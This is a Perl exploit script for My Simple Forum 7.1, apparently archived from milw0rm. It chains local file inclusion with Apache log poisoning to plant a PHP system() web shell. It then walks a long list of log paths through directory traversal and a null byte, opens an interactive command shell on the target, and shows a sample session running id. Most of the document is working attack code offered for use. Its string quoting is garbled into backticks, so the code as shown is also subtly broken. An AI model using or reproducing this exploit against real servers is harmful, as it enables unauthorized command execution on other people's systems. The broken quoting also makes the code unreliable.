My Simple Forum 7.1 (LFI) Remote Command Execution Exploit#!/usr/bin/perl

# My Simple Forum v7.1
# Remote Command Execution Exploit (Apache Log Poisoning/Injection)
# Local File Inclusion at /theme/default/index.template.php?action=[lf]%00
# XSS at /theme/default/index.template.php?Name=[XSS] - This needs Register Globals ON
# Credits to Giovanni Buzzin, `Osirys`
# osirys[at]autistici[dot]org

# ---------------------------------------------------------------------------------------
# Exploit on Local
# ---------------------------------------------------------------------------------------
# osirys[~]>$ perl spl.txt http://localhost/MySimpleForum_v.7.1/
#
#   ---------------------------------
#      My Simple Forum RCE Sploit
#               (Log Inj)
#               by Osirys
#   ---------------------------------
#
# [*] Injecting evil php code ..
# [*] Cheeking for Apache Logs ..
# [*] Apache Log Injection completed
# [*] Path: /var/log/httpd/access_log
# [!] Hi my master, do your job now [x]
#
# shell[localhost]$> pwd
# /home/osirys/web/MySimpleForum_v.7.1
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> exit
# [-] Quitting ..
#
# osirys[~]>$
# ---------------------------------------------------------------------------------------


use IO::Socket::INET;
use LWP::UserAgent;

my $host       =  $ARGV[0];
my $lfi_path   =  `/index.php?action=`;
my $null_byte  =  `%00`;
my $rand_a     =  int(rand 150);
my $rand1      =  `1337`.$rand_a.`1337`;
my $rand_b     =  int(rand 150);
my $rand2      =  `1337`.$rand_b.`1337`;
my $gotcha     =  0;
my $dir_trasv  =  `../../../../../../../../../..`;
my @logs_dirs  =  qw(
                      /var/log/httpd/access_log
                      /var/log/httpd/access.log
                      /var/log/httpd/error.log
                      /var/log/httpd/error_log
                      /var/log/access_log
                      /logs/error.log
                      /logs/access.log
                      /var/log/apache/error_log
                      /var/log/apache/error.log
                      /etc/httpd/logs/access_log
                      /usr/local/apache/logs/error_log
                      /etc/httpd/logs/access.log
                      /etc/httpd/logs/error_log
                      /etc/httpd/logs/error.log
                      /usr/local/apache/logs/access_log
                      /usr/local/apache/logs/access.log
                      /var/www/logs/access_log
                      /var/www/logs/access.log
                      /var/log/apache/access_log
                      /var/log/apache/access.log
                      /var/log/access_log
                      /var/www/logs/error_log
                      /var/www/logs/error.log
                      /usr/local/apache/logs/error.log
                      /var/log/error_log
                      /apache/logs/error.log
                      /apache/logs/access.log
                    );

my $php_code   =  `<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=st`.
                  `ripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>`;

($host) || help(`-1`);
cheek($host) == 1 || help(`-2`);
&amp;banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


$sock = IO::Socket::INET->new(
                                PeerAddr => $h0st,
                                PeerPort => 80,
                                Proto => `tcp`
                             ) || die `Can't connect to $host:80!\n`;

print `[*] Injecting evil php code ..\n`;


print $sock `GET /Osirys_log_inj start0`.$rand1.$php_code.`0end`.$rand2.` HTTP/1.1\r\n`;
print $sock `Host: `.$host.`\r\n`;
print $sock `Connection: close\r\n\r\n`;
close($sock);

print `[*] Cheeking for Apache Logs ..\n`;

while (($log = <@logs_dirs>)&amp;&amp;($gotcha != 1)) {
    $tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;
    $re = get_req($tmp_path);
    if ($re =~ /Osirys_log_inj/) {
        $gotcha = 1;
        $log_path = $tmp_path;
        print `[*] Apache Log Injection completed\n`;
        print `[*] Path: $log\n`;
        print `[!] Hi my master, do your job now [x]\n\n`;
        &amp;exec_cmd;
    }
}

$gotcha == 1 || die `[-] Couldn't find Apache Logs\n`;

sub exec_cmd {
    $h0st !~ /www\./ || $h0st =~ s/www\.//;
    print `shell[$h0st]\$> `;
    $cmd = <STDIN>;
    $cmd !~ /exit/ || die `[-] Quitting ..\n\n`;
    $exec_url = $log_path.`&amp;cmd=`.$cmd;
    my $re = get_req($exec_url);
    my $content = tag($re);
    if ($content =~ m/start0$rand1(.+)\*0end$rand2/g) {
        my $out = $1;
        $out =~ s/\$/ /g;
        $out =~ s/\*/\n/g;
        chomp($out);
        print `$out\n`;
        &amp;exec_cmd;
    }
    else {
        $c++;
        $cmd =~ s/\n//;
        print `bash: `.$cmd.`: command not found\n`;
        $c < 3 || die `[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n`;
        &amp;exec_cmd;
    }

}

sub get_req() {
    $link = $_[0];
    my $req = HTTP::Request->new(GET => $link);
    my $ua = LWP::UserAgent->new();
    $ua->timeout(4);
    my $response = $ua->request($req);
    return $response->content;
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\/\/(.+)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub get_input() {
    my $host = $_[0];
    $host =~ /http:\/\/(.+)/;
    $s_host = $1;
    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
    ($h0st,$path) = ($1,$2);
    $path =~ s/(.*)/\/$1/;
    $full_det = $h0st.` `.$path;
    return $full_det;
}

sub tag() {
    my $string = $_[0];
    $string =~ s/ /\$/g;
    $string =~ s/\s/\*/g;
    return($string);
}

sub banner {
    print `\n`.
          `  --------------------------------- \n`.
          `     My Simple Forum RCE Sploit   \n`.
          `              (Log Inj)             \n`.
          `              by Osirys             \n`.
          `  --------------------------------- \n\n`;
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &amp;banner;
        print `\n[-] Input data failed ! \n`;
    }
    elsif ($error == -2) {
        &amp;banner;
        print `\n[-] Bad hostname address !\n`;
    }
    print `[*] Usage : perl $0 http://hostname/cms_path\n\n`;
    exit(0);
}

# milw0rm.com [2009-03-27]